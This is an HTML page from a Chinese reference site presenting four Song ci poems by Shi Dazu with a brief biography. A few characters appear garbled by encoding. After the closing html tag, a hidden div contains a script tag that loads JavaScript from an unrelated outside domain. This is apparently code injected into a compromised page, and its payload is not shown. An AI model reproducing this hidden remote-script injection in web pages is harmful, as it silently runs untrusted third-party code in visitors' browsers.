<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-史达祖</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>史达祖</strong></span></div>

	<div class="Cont_tit sc">
		<h1>史达祖</h1>
		<span>南宋词人。字邦卿，号梅G。汴(今河南开封)人。生卒年不可考。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>三姝媚</strong></div><div class="sc_det_cont">烟光摇缥瓦，望晴檐多风，柳花如洒。锦瑟横床,想泪痕尘影,凤弦常下。倦出犀帷，频梦见、王孙骄马。讳道相思，偷理绡衩。<br/>惆怅南楼遥夜，记翠箔张灯，枕肩歌罢。又入铜驼，遍旧家门巷，首询声价。可惜东风，将恨与闲花俱谢。记取崔徵模样。归来暗写。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>玉胡蝶</strong></div><div class="sc_det_cont">晚雨未摧宫树,可怜闲叶,犹抱凉蝉。短景归秋，吟思又接愁边。漏初长、梦魂难禁，人渐老、风月俱寒。想幽欢土花庭L，虫网阑干。<br/>无端啼蛄搅夜，恨随团扇，苦近秋莲。一笛当楼，谢娘悬泪立风前。故园晚强留诗酒，新雁远、不致寒暄。隔苍烟、楚香罗袖，谁伴婵娟。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>双双燕</strong></div><div class="sc_det_cont">咏燕<br/>过春社了，度帘幕中间，去年尘冷。差池欲住，试入旧巢相并。还相雕梁藻井，又软语商量不定。飘然快拂花梢。翠尾分开红影。<br/>芳径，芹泥雨润。爱贴地争飞，竞夸轻俊。红楼归晚，看足柳昏花暝。应自栖香正稳，便忘了天涯芳信。愁损翠黛双蛾，日日画阑独凭。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>喜迁莺</strong></div><div class="sc_det_cont">月波疑滴，望玉壶天近，了无尘隔。翠眼圈花,冰丝织练,黄道宝光相直。自怜诗酒瘦，难应接许多春色。最无赖，是随香趁烛，曾伴狂客。<br/>踪迹，漫记忆，老了杜郎，忍听东风笛。柳院灯疏，梅厅雪在，谁与细倾克碧？旧情拘未定，犹自学当年游历，怕万一，误玉人夜寒帘隙。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>史达祖</span>&nbsp; &nbsp; 宋词翻页： [<a href="10_1.htm">下一页</a>]&nbsp; &nbsp; 页数： <span>1/3</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>